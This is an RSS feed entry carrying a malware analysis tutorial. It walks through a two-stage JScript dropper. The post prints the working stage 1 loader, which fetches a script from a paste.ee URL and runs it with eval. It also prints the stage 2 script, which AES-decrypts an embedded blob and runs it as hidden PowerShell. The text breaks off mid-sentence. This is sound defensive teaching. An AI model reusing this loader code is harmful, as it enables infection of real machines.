<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[maikroservice]]></title><description><![CDATA[I am a Cybersecurity professional, interested in purple things. Come learn with me over at https://youtube.com/@maikroservice or https://bsky.app/profile/maikro]]></description><link>https://maikroservice.com</link><generator>RSS for Node</generator><lastBuildDate>Thu, 16 Apr 2026 18:21:23 GMT</lastBuildDate><atom:link href="https://maikroservice.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Malware Analysis I - Detecting Indicators of Compromise and malicious Infrastructure]]></title><description><![CDATA[Today we will see how we can identify malware urls / indicators of compromise from malware and the malware sample we will use is:
https://bazaar.abuse.ch/sample/41f76926477c7f8759900567ced4e5e1f9057e40d2a151badc873d23f372997e/
Stage 1 - comprobante_s...]]></description><link>https://maikroservice.com/malware-analysis-i-detecting-indicators-of-compromise-and-malicious-infrastructure</link><guid isPermaLink="true">https://maikroservice.com/malware-analysis-i-detecting-indicators-of-compromise-and-malicious-infrastructure</guid><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[malware analysis]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Mon, 04 Mar 2024 20:28:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1709584202285/677aac4c-0cf3-4dfa-8df6-344051596984.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Today we will see how we can identify malware urls / indicators of compromise from malware and the malware sample we will use is:</p>
<p><a target="_blank" href="https://bazaar.abuse.ch/sample/41f76926477c7f8759900567ced4e5e1f9057e40d2a151badc873d23f372997e/">https://bazaar.abuse.ch/sample/41f76926477c7f8759900567ced4e5e1f9057e40d2a151badc873d23f372997e/</a></p>
<h2 id="heading-stage-1-comprobanteswift89534657687js">Stage 1 - <code>comprobante_swift89534657687.js</code></h2>
<p>Directly after downloading the stage 1 payload from malware bazaar you can open it inside your malware analysis VM (flareVM), if you have not prepared one yet, have a look at this video:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=VqJM3eo2lPg">https://www.youtube.com/watch?v=VqJM3eo2lPg</a></div>
<p> </p>
<p>You can open the malware archive (.zip) with 7zip and use the password <code>infected</code> to extract the stage1 malware.</p>
<p>When you open the .js file with a text editor or vscode (make sure to set the restrictions to “I dont trust the authors of this folder/file” when it asks you) you will see this:</p>
<pre><code class="lang-powershell"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">preexistente</span><span class="hljs-params">(eudiometria)</span></span> {
  <span class="hljs-keyword">return</span> String.fromCharCode(eudiometria);
}

var pesadume = <span class="hljs-string">"&lt;https://past&gt;"</span> + preexistente(<span class="hljs-number">101</span>) + <span class="hljs-string">"."</span> + preexistente(<span class="hljs-number">101</span>) + <span class="hljs-string">""</span> + preexistente(<span class="hljs-number">101</span>) + <span class="hljs-string">"/d/ARhCV"</span>;

var guabirabeira = tripes(pesadume);
horographia(guabirabeira);

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">esfolhar</span><span class="hljs-params">(celadolo)</span></span> {
  var esfuziada = new ActiveXObject(<span class="hljs-string">"WScript.Shell"</span>);
  esfuziada.Run(<span class="hljs-string">"perispiritual"</span>, celadolo);
  var usufruto = esfuziada.Popup(<span class="hljs-string">"araribina:"</span>, <span class="hljs-number">0</span>, <span class="hljs-string">"Prompt"</span>, <span class="hljs-number">0</span>);
  <span class="hljs-keyword">return</span> usufruto;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">horographia</span><span class="hljs-params">(praina)</span></span> {
  eval(praina);
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">tripes</span><span class="hljs-params">(pesadume)</span></span> {
  var cantata = new ActiveXObject(<span class="hljs-string">"MSXML2.XMLHTTP"</span>);
  cantata.open(<span class="hljs-string">"GET"</span>, pesadume, false);
  cantata.send();
  <span class="hljs-keyword">return</span> cantata.responseText;
}
</code></pre>
<p>Short and sweet but dangerous nonetheless. At the top you can see a function definition (preexistente) that takes one parameter called <code>eudiometria</code> which then is translated into a string from a <code>CharCode</code> → that is a numerical representation of letters/numbers etc. typically used in javascript / your browser</p>
<p>AHA!</p>
<p>Ok and next what looks like a url is combined from <code>https://past</code> + three function calls with the number 101 + <code>/d/ARhCV</code></p>
<p>Great but what is <code>String.fromCharCode(101)</code> ?</p>
<p>Open your browser and find out → go to any page and either right click on the page and use <code>inspect</code> and then on <code>console</code> at the bottom</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709581799797/b21fb5e0-3896-4524-9b5f-fafcb8f7eb8d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709581829340/cc7f2173-c3cc-4a91-a5b7-fff356be0ab5.png" alt class="image--center mx-auto" /></p>
<p>or directly click on the <code>developer → javascript console</code> option</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709581845940/01cdf521-30b8-419a-8d6a-77e992985bcf.png" alt class="image--center mx-auto" /></p>
<p>This will open the javascript developer console and if you paste/type <code>String.fromCharCode(101)</code> into it</p>
<p>→ watch magic 🪄 happen (if your browser tells you that you cannot paste code immediately, just follow the guide and type <code>allow pasting</code> first then press enter and continue to paste the snippet</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709581903923/256ad88d-11ed-4f78-99bd-f2f575d16cc1.png" alt class="image--center mx-auto" /></p>
<p><code>101</code> apparently is the letter <code>e</code> so when we combine all those elements together we have a new url to download our 2nd stage payload from:</p>
<p>2nd stage from <code>https[:]//paste.ee/d/ARhCV</code></p>
<h2 id="heading-stage-2-httpspasteeedarhcv">Stage 2 - <code>https[:]//paste.ee/d/ARhCV</code></h2>
<p>When you have possibly malicious urls the last thing you want to do is to open those on your normal computer - instead you can use someone else’s computer to do that for you 😇</p>
<p>my favorite is <a target="_blank" href="https://browserling.com">https://browserling.com</a> which lets you copy and paste and open urls that you are not sure of → plug the url into the form and click <code>Test now!</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709581938321/4c2c227b-e135-4397-805a-fb576b1f312e.png" alt class="image--center mx-auto" /></p>
<p>You should be greeted with the following beautiful screen:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709581953846/f807aa88-90b0-4ae3-b0ba-b1c378791f0e.png" alt class="image--center mx-auto" /></p>
<p>if not → this is the script that was available there:</p>
<pre><code class="lang-jsx"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">omphalorrhagia</span>(<span class="hljs-params">melam</span>) </span>{
    <span class="hljs-keyword">var</span> sephelo = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"MSXML2.DOMDocument"</span>);
    <span class="hljs-keyword">var</span> magnificar = sephelo.createElement(<span class="hljs-string">"b64"</span>);
    magnificar.dataType = <span class="hljs-string">"bin.base64"</span>;
    magnificar.text = melam;
    <span class="hljs-keyword">var</span> anete = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    anete.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    anete.Open();
    anete.Write(magnificar.nodeTypedValue);
    anete.Position = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">var</span> forrageal = anete.Read();
    anete.Close();
    <span class="hljs-keyword">return</span> forrageal;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">patornear</span>(<span class="hljs-params">perculso, key</span>) </span>{
    <span class="hljs-keyword">var</span> pacientemente = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Security.Cryptography.RijndaelManaged"</span>);
    pacientemente.Mode = <span class="hljs-number">1</span>; <span class="hljs-comment">// CipherMode.CBC</span>
    pacientemente.Padding = <span class="hljs-number">3</span>; <span class="hljs-comment">// PaddingMode.Zeros</span>
    pacientemente.BlockSize = <span class="hljs-number">128</span>;
    pacientemente.KeySize = <span class="hljs-number">256</span>;

    <span class="hljs-keyword">var</span> metrofotografia = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Text.UTF8Encoding"</span>);
    <span class="hljs-keyword">var</span> zunga = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Security.Cryptography.SHA256Managed"</span>);
    <span class="hljs-keyword">var</span> desenfrechar = zunga.ComputeHash_2(metrofotografia.GetBytes_4(key));
    pacientemente.Key = desenfrechar;

    <span class="hljs-keyword">var</span> bracaraugustano = omphalorrhagia(perculso);

    <span class="hljs-keyword">var</span> anete = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    anete.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    anete.Open();
    anete.Write(bracaraugustano);
    anete.Position = <span class="hljs-number">0</span>;

    <span class="hljs-keyword">var</span> saltadouro = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    saltadouro.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    saltadouro.Open();
    <span class="hljs-comment">// read first 16 bytes and make that the initialization vector (IV) for the decryption</span>
    saltadouro.Write(anete.Read(<span class="hljs-number">16</span>));
    saltadouro.Position = <span class="hljs-number">0</span>;
    pacientemente.IV = saltadouro.Read();

    anete.Position = <span class="hljs-number">16</span>; <span class="hljs-comment">// Move to after the IV -&gt; skip the IV and only decrypt the data after !</span>
    <span class="hljs-keyword">var</span> encordoadura = anete.Read();
    <span class="hljs-keyword">var</span> trautar = pacientemente.CreateDecryptor();

    <span class="hljs-keyword">var</span> viga = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    viga.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    viga.Open();
    viga.Write(encordoadura);
    viga.Position = <span class="hljs-number">0</span>;

    <span class="hljs-comment">// decrypt</span>
    <span class="hljs-keyword">var</span> roleiro = trautar.TransformFinalBlock((viga.Read()), <span class="hljs-number">0</span>, viga.Size);
    <span class="hljs-keyword">var</span> forrageal = metrofotografia.GetString((roleiro));

    anete.Close();
    saltadouro.Close();
    viga.Close();

    <span class="hljs-comment">// return decrypted powershell script</span>
    <span class="hljs-keyword">return</span> forrageal;
}

<span class="hljs-keyword">var</span> perculso = <span class="hljs-string">"U6QYC302+gYnmiIMvSYl13luCzfghsk1EkWwMHcen71WAx/vxj2b4kzthulb/qIZXPyDDrOxbK47oModVkUVOH21YwWC+x8RiXfTfQ2bE7IhkHyxCre0Q6MZ3FzjjbECenlR1SjzO6ly81brt+kwPIung8Tbtxkrz9OYBRofhtsfRxZKticveCKUAbys+okxzO4eNBEOQkmi6Kj/cr9aLGxbMUaCuPN2VQqUDps3xie2fPGMqz9lkqupoLsym58il3tKxJe/EZqnoMzLUeeEp8n+MTjmHa1Hwtrau91+s1XLZiDXKstLwccfr6nvKuo50f6FXQqgpJTOHwbEsklnfzmqAVYK+GqAQxtvDfK9LceiFVGMKZYzL84LWy02htydZNMSWZkdjETKc5EXg/KdPsDN0yT+vWdzp3Hiz4UtGzopY3G8G2iXjVazuZArPBwXEius9bG1xVkmJbCPHmcIa/KI1+Une/F+yXvWwoheJBDiGMxnvFQ4CYpBs0qpOSB+95s57xb0xFkuEGMcYPytyyyJsDZ5adf1d7sTvn0+ZjpGxMz5VAG54502ORVT+NprlvaXQXyl2rSAa9aoe8o9L+rBf/1KZeFEn854uNZxdguBYzLBG+4dA9/zsYH/3c9wyY88rXkSgMy8HdyobbFN6K6n2ZQaT7BTUVx2cEMrYhEzeHVwudcIKzj3U/V1CcBz66WiYkuuSBnjje8a+XxGhrjnuIm08CtHTDAumP8XT+VRUlqVSlMUuyGbPILcxwt2mj4zKLlPX5ciL4ebA/poNwNYN2webG/ctHxkGGzm+JJByu/Na23dzI8ZlxaomV+s4lzrOuEeBENyiT6tZkEr0nfNS2sXx5spPEqC3hVVkKASkSE0jeWNLms0wWvoMGxBPJUhPLwcgZPROgbQv6kgE20+Pdgt7ezY3pgadfRV/jg4JtTeezA1w2WCvU0cL2RDyTYDhmiIU7sDNEFapSEU16NBDe4zi7+3Ypz6y8Nzzo2sI2l5uhrVdT2g2UzYoDM8c30/dgwZqLJzWHZXax/uDnlmvcBbxvZ1YFSg4m6/I+RUzF46L0EQs+bkVQJmcolKX8tH5AP+jFzarKgA8OhPZexsdnXe0xSBRyuIJwrtNzIBRYzgSF1MqRU7i+IMD2GYc5JvWDNLJ3H/tEpknDIV9XLhq5bKQm35eOHTnFcrAceZWoTFrpToUxiQa94/cOIgb8Yialab0HyoQ6S9wPTVbo42hLnfutxrajHsAIiciipEbDAsGgDwzHv/48pFjv8G1dqrlO0Adp90KtLuN3W44neUZur8pmAmJWsPEogHgu8b1ulKQqEoWMZxkIcwsIFQa+T5+MabIocphFn5rExhwjQm9kTDvPK1xMzubNPijXdVWYBp+Hkf+ViLP8XO3+3DTFwK4o9AvkyFQz6haiR/jRgqDTaBNc+6ny8nrhJhK6RG7UvUn6MCSQy/2mMtR4CVuFg+i7sJbVnokoWpeDhijEOQREVC4FfRmJ/BlKe1FO0xJBAYaVSKc1kASDRfd4EwZx4ld4Z4/7oFsAdeozcFrP1o+FlpUwOx9jNqxdFLk+wc+mELjwO84JbTeNQ/tAnxpBZnepD0irx/ZZLK7EirERyZb7w2N2AONiKvemcUaews9Yi35xSeGdR7458ZgrQ27RxKBJt8dE9bliGsAswEZpPhBsToyC+DTTemG2KgHfC4663PpKwZ5L79Dw2NIGf4"</span>;
<span class="hljs-keyword">var</span> lacertinos = <span class="hljs-string">"12345678901234567890123456789012"</span>;
<span class="hljs-keyword">var</span> durguete = patornear(perculso, lacertinos);

<span class="hljs-keyword">var</span> sorte = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"WScript.Shell"</span>);
sorte.Run(<span class="hljs-string">"powershell -Command \\"</span><span class="hljs-string">" + durguete + "</span>\\<span class="hljs-string">""</span>, <span class="hljs-number">0</span>, <span class="hljs-literal">false</span>);
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709581978630/79a2ba63-06c1-4693-bc63-17ac685a620b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709581987340/8b85629a-8d7d-456e-9b87-b07dec35335e.png" alt class="image--center mx-auto" /></p>
<p>This script does a lot of things but we can walk through it from top to bottom and use my MAGIC MALWARE ANALYSIS EXPLAINER FRIEND - ChatGPT to help us.</p>
<p>We start with the first function</p>
<pre><code class="lang-powershell"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">omphalorrhagia</span><span class="hljs-params">(melam)</span></span> {
    var sephelo = new ActiveXObject(<span class="hljs-string">"MSXML2.DOMDocument"</span>);
    var magnificar = sephelo.createElement(<span class="hljs-string">"b64"</span>);
    magnificar.dataType = <span class="hljs-string">"bin.base64"</span>;
    magnificar.text = melam;
    var anete = new ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    anete.Type = <span class="hljs-number">1</span>; // adTypeBinary
    anete.Open();
    anete.Write(magnificar.nodeTypedValue);
    anete.Position = <span class="hljs-number">0</span>;
    var forrageal = anete.Read();
    anete.Close();
    <span class="hljs-keyword">return</span> forrageal;
}
</code></pre>
<p>This takes a single input and returns a single output → in between it tries to open a browser / DOMDocument and loads some base64 encoded string into an object and returns that object/binary data 😅✅</p>
<p>How would you find this out if you cannot read the code? EASY - just ask ChatGPT:</p>
<pre><code class="lang-powershell">what does this <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">do</span> ```<span class="hljs-keyword">function</span> <span class="hljs-title">omphalorrhagia</span><span class="hljs-params">(melam)</span></span> {
    var sephelo = new ActiveXObject(<span class="hljs-string">"MSXML2.DOMDocument"</span>);
    var magnificar = sephelo.createElement(<span class="hljs-string">"b64"</span>);
    magnificar.dataType = <span class="hljs-string">"bin.base64"</span>;
    magnificar.text = melam;
    var anete = new ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    anete.Type = <span class="hljs-number">1</span>; // adTypeBinary
    anete.Open();
    anete.Write(magnificar.nodeTypedValue);
    anete.Position = <span class="hljs-number">0</span>;
    var forrageal = anete.Read();
    anete.Close();
    <span class="hljs-keyword">return</span> forrageal;
}
</code></pre>
<pre><code>
![](https:<span class="hljs-comment">//cdn.hashnode.com/res/hashnode/image/upload/v1709582176287/9e9548a1-e9e2-4944-b345-60d2746b462a.png align="center")</span>

and our best friend tells us:

![](https:<span class="hljs-comment">//cdn.hashnode.com/res/hashnode/image/upload/v1709582193026/09b3210c-63bd-4bb3-82ab-c3a50e312189.png align="center")</span>

AHA! great, that helps → but what happens next?

The <span class="hljs-number">2n</span>d <span class="hljs-function"><span class="hljs-keyword">function</span> `<span class="hljs-title">patornear</span>` <span class="hljs-title">takes</span> <span class="hljs-title">two</span> <span class="hljs-title">arguments</span>, `<span class="hljs-title">perculso</span>` <span class="hljs-title">and</span> `<span class="hljs-title">key</span>` <span class="hljs-title">and</span> <span class="hljs-title">does</span> <span class="hljs-title">some</span> <span class="hljs-title">cryptography</span> <span class="hljs-title">in</span> <span class="hljs-title">the</span> <span class="hljs-title">beginning</span> (<span class="hljs-params"><span class="hljs-string">`RijndaelManaged`</span>, often called AES</span>), <span class="hljs-title">then</span> <span class="hljs-title">sets</span> <span class="hljs-title">some</span> <span class="hljs-title">values</span> <span class="hljs-title">and</span> <span class="hljs-title">uses</span> <span class="hljs-title">the</span> <span class="hljs-title">previous</span> <span class="hljs-title">function</span> `<span class="hljs-title">var</span> <span class="hljs-title">bracaraugustano</span> = <span class="hljs-title">omphalorrhagia</span>(<span class="hljs-params">perculso</span>);` <span class="hljs-title">with</span> <span class="hljs-title">the</span> <span class="hljs-title">first</span> <span class="hljs-title">input</span>

<span class="hljs-title">AHA</span>! <span class="hljs-title">so</span> <span class="hljs-title">perculso</span> <span class="hljs-title">is</span> <span class="hljs-title">base64</span> <span class="hljs-title">encoded</span> <span class="hljs-title">code</span>, <span class="hljs-title">and</span> <span class="hljs-title">we</span> <span class="hljs-title">use</span> <span class="hljs-title">it</span> <span class="hljs-title">in</span> <span class="hljs-title">this</span> 2<span class="hljs-title">nd</span> <span class="hljs-title">function</span> <span class="hljs-title">for</span> <span class="hljs-title">something</span>!

<span class="hljs-title">What</span> <span class="hljs-title">we</span> <span class="hljs-title">do</span> <span class="hljs-title">next</span> <span class="hljs-title">is</span> <span class="hljs-title">to</span> <span class="hljs-title">open</span> <span class="hljs-title">the</span> <span class="hljs-title">file</span> <span class="hljs-title">and</span> <span class="hljs-title">read</span> <span class="hljs-title">the</span> `<span class="hljs-title">first</span> 16 <span class="hljs-title">bytes</span>` <span class="hljs-title">into</span> <span class="hljs-title">a</span> <span class="hljs-title">variable</span> <span class="hljs-title">called</span> `<span class="hljs-title">pacientemente</span>.<span class="hljs-title">IV</span>` - <span class="hljs-title">for</span> <span class="hljs-title">those</span> <span class="hljs-title">of</span> <span class="hljs-title">you</span> <span class="hljs-title">who</span> <span class="hljs-title">don</span>’<span class="hljs-title">t</span> <span class="hljs-title">know</span>, <span class="hljs-title">IV</span> <span class="hljs-title">is</span> <span class="hljs-title">the</span> <span class="hljs-title">initialization</span> <span class="hljs-title">vector</span> <span class="hljs-title">often</span> <span class="hljs-title">used</span> <span class="hljs-title">in</span> <span class="hljs-title">decryption</span> <span class="hljs-title">operations</span> <span class="hljs-title">together</span> <span class="hljs-title">with</span> <span class="hljs-title">a</span> <span class="hljs-title">key</span>.

<span class="hljs-title">key</span>? <span class="hljs-title">EN</span> <span class="hljs-title">CE</span> <span class="hljs-title">MOMENT</span>! <span class="hljs-title">I</span> <span class="hljs-title">remember</span> <span class="hljs-title">that</span> <span class="hljs-title">there</span> <span class="hljs-title">was</span> <span class="hljs-title">a</span> <span class="hljs-title">key</span> <span class="hljs-title">in</span> <span class="hljs-title">this</span> <span class="hljs-title">function</span> <span class="hljs-title">as</span> <span class="hljs-title">well</span>, <span class="hljs-title">so</span> <span class="hljs-title">we</span> <span class="hljs-title">have</span> <span class="hljs-title">the</span> <span class="hljs-title">IV</span> <span class="hljs-title">and</span> <span class="hljs-title">the</span> <span class="hljs-title">Key</span> <span class="hljs-title">now</span>?

...<span class="hljs-title">but</span> <span class="hljs-title">where</span> <span class="hljs-title">is</span> <span class="hljs-title">the</span> <span class="hljs-title">text</span> <span class="hljs-title">to</span> <span class="hljs-title">be</span> <span class="hljs-title">decoded</span>?!

<span class="hljs-title">We</span> <span class="hljs-title">also</span> <span class="hljs-title">take</span> <span class="hljs-title">that</span> <span class="hljs-title">from</span> <span class="hljs-title">the</span> <span class="hljs-title">base64</span> <span class="hljs-title">encoded</span> <span class="hljs-title">string</span> → <span class="hljs-title">the</span> <span class="hljs-title">first</span> 16 <span class="hljs-title">bytes</span> (<span class="hljs-params">the IV</span>) <span class="hljs-title">are</span> <span class="hljs-title">skipped</span> <span class="hljs-title">and</span> <span class="hljs-title">we</span> <span class="hljs-title">read</span> <span class="hljs-title">the</span> <span class="hljs-title">rest</span> <span class="hljs-title">into</span> <span class="hljs-title">a</span> <span class="hljs-title">variable</span> <span class="hljs-title">and</span> <span class="hljs-title">then</span> <span class="hljs-title">decrypt</span> <span class="hljs-title">it</span> <span class="hljs-title">with</span> <span class="hljs-title">the</span> <span class="hljs-title">key</span> <span class="hljs-title">and</span> <span class="hljs-title">the</span> <span class="hljs-title">IV</span>. 🤯

<span class="hljs-title">The</span> <span class="hljs-title">last</span> <span class="hljs-title">step</span> <span class="hljs-title">is</span> <span class="hljs-title">to</span> <span class="hljs-title">return</span> <span class="hljs-title">the</span> <span class="hljs-title">decrypted</span> <span class="hljs-title">code</span> <span class="hljs-title">in</span> <span class="hljs-title">plain</span>-<span class="hljs-title">text</span>.

```<span class="hljs-title">javascript</span>

<span class="hljs-title">function</span> <span class="hljs-title">patornear</span>(<span class="hljs-params">perculso, key</span>) </span>{
    <span class="hljs-keyword">var</span> pacientemente = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Security.Cryptography.RijndaelManaged"</span>);
    pacientemente.Mode = <span class="hljs-number">1</span>; <span class="hljs-comment">// CipherMode.CBC</span>
    pacientemente.Padding = <span class="hljs-number">3</span>; <span class="hljs-comment">// PaddingMode.Zeros</span>
    pacientemente.BlockSize = <span class="hljs-number">128</span>;
    pacientemente.KeySize = <span class="hljs-number">256</span>;

    <span class="hljs-keyword">var</span> metrofotografia = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Text.UTF8Encoding"</span>);
    <span class="hljs-keyword">var</span> zunga = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"System.Security.Cryptography.SHA256Managed"</span>);
    <span class="hljs-keyword">var</span> desenfrechar = zunga.ComputeHash_2(metrofotografia.GetBytes_4(key));
    pacientemente.Key = desenfrechar;

    <span class="hljs-keyword">var</span> bracaraugustano = omphalorrhagia(perculso);

    <span class="hljs-keyword">var</span> anete = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    anete.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    anete.Open();
    anete.Write(bracaraugustano);
    anete.Position = <span class="hljs-number">0</span>;

    <span class="hljs-keyword">var</span> saltadouro = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    saltadouro.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    saltadouro.Open();
    <span class="hljs-comment">// read first 16 bytes and make that the initialization vector (IV) for the decryption</span>
    saltadouro.Write(anete.Read(<span class="hljs-number">16</span>));
    saltadouro.Position = <span class="hljs-number">0</span>;
    pacientemente.IV = saltadouro.Read();

    anete.Position = <span class="hljs-number">16</span>; <span class="hljs-comment">// Move to after the IV -&gt; skip the IV and only decrypt the data after !</span>
    <span class="hljs-keyword">var</span> encordoadura = anete.Read();
    <span class="hljs-keyword">var</span> trautar = pacientemente.CreateDecryptor();

    <span class="hljs-keyword">var</span> viga = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"ADODB.Stream"</span>);
    viga.Type = <span class="hljs-number">1</span>; <span class="hljs-comment">// adTypeBinary</span>
    viga.Open();
    viga.Write(encordoadura);
    viga.Position = <span class="hljs-number">0</span>;

    <span class="hljs-comment">// decrypt the "base64 string" using the key and the IV</span>
    <span class="hljs-keyword">var</span> roleiro = trautar.TransformFinalBlock((viga.Read()), <span class="hljs-number">0</span>, viga.Size);
    <span class="hljs-keyword">var</span> forrageal = metrofotografia.GetString((roleiro));

    anete.Close();
    saltadouro.Close();
    viga.Close();

    <span class="hljs-comment">// return decrypted powershell script</span>
    <span class="hljs-keyword">return</span> forrageal;
}
</code></pre><p>WAOOOOWWW MAGIC ! 🦄</p>
<p>Again if you don’t understand this part, ask your friend ChatGPT for an explanation</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709582233878/7326e6a5-8f70-4d9f-b4b0-f32d7a4f2cb9.png" alt class="image--center mx-auto" /></p>
<p>On to the last steps - this is the base64 encoded something (<code>perculso</code>) and the key (<code>lacertinos</code>) which are then fed into the 2nd function and the result from that function call (plaintext) is used to run a powershell command that the plaintext holds ✨🦹</p>
<pre><code class="lang-jsx"><span class="hljs-keyword">var</span> perculso = <span class="hljs-string">"U6QYC302+gYnmiIMvSYl13luCzfghsk1EkWwMHcen71WAx/vxj2b4kzthulb/qIZXPyDDrOxbK47oModVkUVOH21YwWC+x8RiXfTfQ2bE7IhkHyxCre0Q6MZ3FzjjbECenlR1SjzO6ly81brt+kwPIung8Tbtxkrz9OYBRofhtsfRxZKticveCKUAbys+okxzO4eNBEOQkmi6Kj/cr9aLGxbMUaCuPN2VQqUDps3xie2fPGMqz9lkqupoLsym58il3tKxJe/EZqnoMzLUeeEp8n+MTjmHa1Hwtrau91+s1XLZiDXKstLwccfr6nvKuo50f6FXQqgpJTOHwbEsklnfzmqAVYK+GqAQxtvDfK9LceiFVGMKZYzL84LWy02htydZNMSWZkdjETKc5EXg/KdPsDN0yT+vWdzp3Hiz4UtGzopY3G8G2iXjVazuZArPBwXEius9bG1xVkmJbCPHmcIa/KI1+Une/F+yXvWwoheJBDiGMxnvFQ4CYpBs0qpOSB+95s57xb0xFkuEGMcYPytyyyJsDZ5adf1d7sTvn0+ZjpGxMz5VAG54502ORVT+NprlvaXQXyl2rSAa9aoe8o9L+rBf/1KZeFEn854uNZxdguBYzLBG+4dA9/zsYH/3c9wyY88rXkSgMy8HdyobbFN6K6n2ZQaT7BTUVx2cEMrYhEzeHVwudcIKzj3U/V1CcBz66WiYkuuSBnjje8a+XxGhrjnuIm08CtHTDAumP8XT+VRUlqVSlMUuyGbPILcxwt2mj4zKLlPX5ciL4ebA/poNwNYN2webG/ctHxkGGzm+JJByu/Na23dzI8ZlxaomV+s4lzrOuEeBENyiT6tZkEr0nfNS2sXx5spPEqC3hVVkKASkSE0jeWNLms0wWvoMGxBPJUhPLwcgZPROgbQv6kgE20+Pdgt7ezY3pgadfRV/jg4JtTeezA1w2WCvU0cL2RDyTYDhmiIU7sDNEFapSEU16NBDe4zi7+3Ypz6y8Nzzo2sI2l5uhrVdT2g2UzYoDM8c30/dgwZqLJzWHZXax/uDnlmvcBbxvZ1YFSg4m6/I+RUzF46L0EQs+bkVQJmcolKX8tH5AP+jFzarKgA8OhPZexsdnXe0xSBRyuIJwrtNzIBRYzgSF1MqRU7i+IMD2GYc5JvWDNLJ3H/tEpknDIV9XLhq5bKQm35eOHTnFcrAceZWoTFrpToUxiQa94/cOIgb8Yialab0HyoQ6S9wPTVbo42hLnfutxrajHsAIiciipEbDAsGgDwzHv/48pFjv8G1dqrlO0Adp90KtLuN3W44neUZur8pmAmJWsPEogHgu8b1ulKQqEoWMZxkIcwsIFQa+T5+MabIocphFn5rExhwjQm9kTDvPK1xMzubNPijXdVWYBp+Hkf+ViLP8XO3+3DTFwK4o9AvkyFQz6haiR/jRgqDTaBNc+6ny8nrhJhK6RG7UvUn6MCSQy/2mMtR4CVuFg+i7sJbVnokoWpeDhijEOQREVC4FfRmJ/BlKe1FO0xJBAYaVSKc1kASDRfd4EwZx4ld4Z4/7oFsAdeozcFrP1o+FlpUwOx9jNqxdFLk+wc+mELjwO84JbTeNQ/tAnxpBZnepD0irx/ZZLK7EirERyZb7w2N2AONiKvemcUaews9Yi35xSeGdR7458ZgrQ27RxKBJt8dE9bliGsAswEZpPhBsToyC+DTTemG2KgHfC4663PpKwZ5L79Dw2NIGf4"</span>;
<span class="hljs-keyword">var</span> lacertinos = <span class="hljs-string">"12345678901234567890123456789012"</span>;
<span class="hljs-keyword">var</span> durguete = patornear(perculso, lacertinos);

<span class="hljs-keyword">var</span> sorte = <span class="hljs-keyword">new</span> ActiveXObject(<span class="hljs-string">"WScript.Shell"</span>);
sorte.Run(<span class="hljs-string">"powershell -Command \\"</span><span class="hljs-string">" + durguete + "</span>\\<span class="hljs-string">""</span>, <span class="hljs-number">0</span>, <span class="hljs-literal">false</span>);
</code></pre>
<p>Wonderful, now there is only a slight issue… this script needs internet explorer APIs to work and well… that is not something we have or want 😀</p>
<p>How can we now isolate the command in plaintext?!</p>
<p>Two options -</p>
